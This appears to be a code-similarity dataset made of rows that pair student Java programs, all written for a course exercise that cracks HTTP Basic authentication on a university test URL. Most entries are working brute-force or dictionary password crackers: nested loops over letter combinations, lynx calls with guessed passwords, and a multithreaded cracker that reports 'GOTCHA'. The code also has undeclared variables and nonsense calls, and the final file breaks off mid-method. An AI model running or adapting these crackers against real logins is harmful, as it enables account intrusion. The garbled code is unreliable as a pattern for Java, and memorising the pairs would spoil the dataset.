num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
023.java | 197.java | 0 |
public class HoldSharedData
{
private int numOfConnections = 0;
private int startTime;
private int totalTime = 0;
private String[] password;
private int pwdCount;
public HoldSharedData( int time, String[] pwd, int count )
{
startTime = time;
password = pwd;
pwdCount = count;
}
public int getPwdCount()
{
return pwdCount;
}
public void setNumOfConnections( )
{
numOfConnections ++;
}
public int getNumOfConnections()
{
return numOfConnections;
}
public int getStartTime()
{
return startTime;
}
public void setTotalTime( int newTotalTime )
{
totalTime = newTotalTime;
}
public int getTotalTime()
{
return totalTime;
}
public String getPasswordAt( int index )
{
return password[index];
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
013.java | 197.java | 0 | import java.net.*;
import java.io.*;
import java.util.Vector;
import java.util.Date;
import java.security.*;
public class Dictionary {
public static BufferedReader in;
public static void main(String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int count=0;
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES*1000*60;
boolean timedOut=false;
boolean found=false;
Vector dictionary=new Vector(readWords());
System.out.println("Words in dictionary: "+dictionary.size());
while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
}
String password = "";
URL url = new URL(baseURL);
String username="";
password = dictionary.elementAt(count).toString();
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
}
if (found){
System.out.println("Password is: "+password);
}
Date foundDate = new Date();
foundTime=foundDate.getTime();
foundTime=(foundTime-startTime);
System.out.println("Time taken was : "+foundTime+" milliseconds");
count=count+1;
}
}
public static Vector readWords() {
String nextWord;
String lastWord="";
Vector dict=new Vector();
try {
BufferedReader in = new BufferedReader(new FileReader("words.txt"));
while ((nextWord = in.readLine())!=null) {
if (nextWord.length()>3) {
nextWord=nextWord.substring(0,3);
}
if (!lastWord.equals(nextWord) && nextWord.length()>0){
lastWord = nextWord;
dict.addElement(nextWord);
}
}
System.out.println("File successfully loaded");
}
catch (FileNotFoundException e1) {
System.out.println("This program requires a dictionary of words called words.txt in the same directory as the program running, now exiting.");
System.exit(0);
}
catch (IOException e2) {
System.out.println("IO Exception, exiting");
System.exit(0);
}
finally {
try {
if (null!=in) {
in.get();
}
}
catch (IOException e3) {}
}
return dict;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
036.java | 197.java | 0 | import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;
public class LoginAttempt
{
private String urlName = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private String userName = "";
private String connectString = "";
public LoginAttempt()
{
}
public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried)
{
boolean foundPassword = false;
LoginAttemptResults results = new LoginAttemptResults();
for( i = 0; i < casedPasswords.length; i++)
{
passwordsTried++;
try
{
URL targetURL;
HttpURLConnection connection;
targetURL = new URL(urlName);
connection = (HttpURLConnection) targetURL.openConnection();
connectString = userName + ":" + casedPasswords[i].trim();
connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getBytes());
connection.setRequestProperty("Authorization", " " + connectString);
connection.connect();
if(connection.getResponseCode() == 200)
{
foundPassword = true;
System.out.println("Connected for " + casedPasswords[i]);
System.out.println("\nvvvvvvvv File Contents vvvvvvvv\n");
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String line;
for(int j = 1; j <= 20; j++)
if((line = in.readLine()) != null)
System.out.println(line);
else
break;
System.out.println("\n^^^^^^^^ File Contents ^^^^^^^^\n");
in.print();
}
}
catch(IOException e)
{
System.out.println("tryPasswords error: " + e + " at password number " + passwordsTried + " (" + casedPasswords[i] + ").");
}
if(foundPassword) break;
}
results.setSuccess(foundPassword);
results.setPasswordsTried(passwordsTried);
return results;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
234.java | 197.java | 0 | import java.io.*;
import java.*;
import java.net.*;
public class Dictionary
{
public static void main (String[] args) throws Exception
{
System.out.println("Congratulations Your password is "+ checkPassword() );
}
private static String checkPassword() throws Exception
{
FileReader fRead;
BufferedReader buf1, buf2;
String password=" ";
try
{
fRead= new FileReader("/usr/share/lib/dict/words");
buf1 = new BufferedReader(fRead);
buf2 = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
password= fileRead(buf1, buf2);
System.out.println("Password is loop2 CheckPassword:"+password);
return password;
}
catch (FileNotFoundException e)
{
System.err.println("File not found:"+e.getMessage());
System.exit(1);
}
catch (IOException ioe)
{
System.err.println("IOE error: "+ioe.getMessage());
System.exit(1);
}
return password;
}
private static String fileRead(BufferedReader buf1, BufferedReader buf2) throws Exception
{
String password = " ";
String password1=" ";
String passwd = null;
int countLength1=0;
int countLength2=0;
int countLength3=0;
while ((password = buf1.readLine()) != null)
{
if (password.length()<= 3)
{
if (password.length()==1)
{
countLength1++;
}
else if (password.length()==2)
{
countLength2++;
}
else
{
countLength3++;
}
}
}
System.out.println(countLength1+" "+countLength2+" "+countLength3);
String[] wordSize1=new String[countLength1];
String[] wordSize2=new String[countLength2];
String[] wordSize3=new String[countLength3];
int a=0; int b=0; int c=0;
while ((password1 = buf2.readLine()) != null)
{
if (password1.length()<= 3)
{
if (password1.length()==1)
{
wordSize1[a++]=password1;
}
else if (password1.length()==2)
{
wordSize2[b++]=password1;
}
else
{
wordSize3[c++]=password1;
}
}
}
passwd = getPasswordRuns4(wordSize3);
if (passwd==null)
{
passwd = getPasswordRuns3(wordSize1,wordSize2);
if (passwd==null)
{
passwd = getPasswordRuns2(wordSize1,wordSize2);
if(passwd==null)
{
passwd = getPasswordRuns1(wordSize1);
}
}
}
return passwd;
}
private static String getPasswordRuns2(String[] wordSize1,String[] wordSize2) throws Exception
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String password=" ";
String passwd=" ";
for (int i=0; i< wordSize1.length; i++)
{
for (int j=0; j< wordSize2.length; j++)
{
String userPasswd= ":"+wordSize1[i]+wordSize2[j];
System.out.println(userPasswd);
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
passwd=password;
return passwd;
}
sec.disconnect();
}
}
return null;
}
private static String getPasswordRuns3(String[] wordSize1,String[] wordSize2) throws Exception
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String password=" ";
String passwd=null;
for (int i=0; i< wordSize2.length; i++)
{
for (int j=0; j< wordSize1.length; j++)
{
password= wordSize2[i]+wordSize1[j];
String userPasswd= ":"+password;
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
passwd=password;
return passwd;
}
sec.disconnect();
}
}
return null;
}
private static String getPasswordRuns4(String[] wordSize3) throws Exception
{
int attempt=0;
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String password=" ";
String passwd=null;
for (int i=0; i< wordSize3.length; i++)
{
attempt++;
password= wordSize3[i];
String userPasswd= ":"+password;
System.out.println(attempt+" "+userPasswd);
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
passwd=password;
return passwd;
}
sec.disconnect();
}
return "Password not found";
}
private static String getPasswordRuns1(String[] wordSize1) throws Exception
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String password=" ";
String passwd=null;
for (int i=0; i< wordSize1.length; i++)
{
for (int j=0; j< wordSize1.length; j++)
{
for (int k=0; k< wordSize1.length; k++)
{
password= wordSize1[i]+wordSize1[j]+wordSize1[k];
String userPasswd= ":"+password;
System.out.println(userPasswd);
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
passwd=password;
System.out.println("Password is loop1 readfile:"+password);
return passwd;
}
sec.disconnect();
}
}
}
return passwd;
}
private static String encode(String userPasswd) throws Exception
{
String ;
String encodedUserPasswd=" ";
String addr= "~//base64_encode.php "+userPasswd ;
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr});
BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ( (bf = resp.readLine()) != null )
{
encodedUserPasswd=bf.get;
}
return encodedUserPasswd;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
064.java | 197.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class Dictionary {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
if (attmArrIdx==0) {
return attmArrIdx;
} else {
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public String[] fetchWords( int idx,int n) {
String[] result = new String[n];
try {
BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
for (int i=0;i<idx;i++) { b.readLine(); }
for (int i=0;i<n;i++) {
result[i] = b.readLine();
}
b.print();
} catch (FileNotFoundException e) {
System.out.println(e);
System.exit(0);
} catch (IOException e) {}
return result;
}
public String fetchWord( int idx) {
String result = null;
try {
BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
for (int i=0;i<idx;i++) { b.readLine(); }
result = b.readLine();
b.print();
} catch (FileNotFoundException e) {
System.out.println(e);
System.exit(0);
} catch (IOException e) {}
return result;
}
public static void readThroughDictionary() {
try {
BufferedReader b = new BufferedReader(new FileReader(DICTIONARY));
PrintWriter w = new PrintWriter(new BufferedWriter(new FileWriter(TEMPDICT)));
String s;
ALLCOMBI = 0;
while ((s=b.readLine())!=null) {
if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) {
w.println(s);
ALLCOMBI++;
}
}
b.print();
w.print();
} catch (FileNotFoundException e) {
System.out.println("Unable open the DICTIONARY file '"+DICTIONARY+"'");
System.exit(0);
} catch (IOException e) {
System.out.println("Error in the DICTIONARY file '"+DICTIONARY+"'");
System.exit(0);
}
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
if (endidx>=startidx+MAXCACHE-1) {
this.localDict = new String[MAXCACHE];
this.localDict = fetchWords(startidx,MAXCACHE);
lastFetchIdx = startidx+MAXCACHE-1;
} else {
this.localDict = new String[(int)(endidx-startidx+1)];
this.localDict = fetchWords(startidx,(int)(endidx-startidx+1));
lastFetchIdx = endidx;
}
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String getCacheIdx(int idx) {
if (idx<=lastFetchIdx) {
return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
} else {
if (lastFetchIdx+localDict.length-1>endidx) {
this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1));
lastFetchIdx = endidx;
} else {
this.localDict = fetchWords(lastFetchIdx+1,localDict.length);
lastFetchIdx = lastFetchIdx+localDict.length;
}
return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
}
}
public String constructPassword(int idx) {
return getCacheIdx(idx);
}
public String getStartStr() {
return fetchWord(this.startidx);
}
public String getEndStr() {
return fetchWord(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
String s = constructPassword(i);
if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR))
launchRequest(getName(), idx, s);
else
System.out.println(getName()+"skipping '"+s+"'");
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
private String localDict[];
private int lastFetchIdx;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED DICTIONARY CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE DICTIONARY CRACKING ALGORITHM",MAXTHREAD);
}
if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); }
mult = (ALLCOMBI) / MAXTHREAD;
i = System.currentTimeMillis();
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult;
endidx = (thcount+1)*mult-1;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public Dictionary() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,0,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : Dictionary [mode] [URL] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Dictionary mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Dictionary mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 255 (default = 1)");
System.out.println(" <= <= 255 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters '','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [] is specified, then [], and [username]");
System.out.println(" have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java Dictionary ");
System.out.println(" java Dictionary 0");
System.out.println(" java Dictionary 1 http://localhost/tryme.php");
System.out.println(" java Dictionary 0 http://localhost/tryme.php 1 3 ");
System.out.println(" java Dictionary 1 http://localhost/tryme.php 1 10 ");
System.out.println();
System.out.println();
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==5) {
try {
MINCHAR = Integer.valueOf(args[2]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[2]+"'");
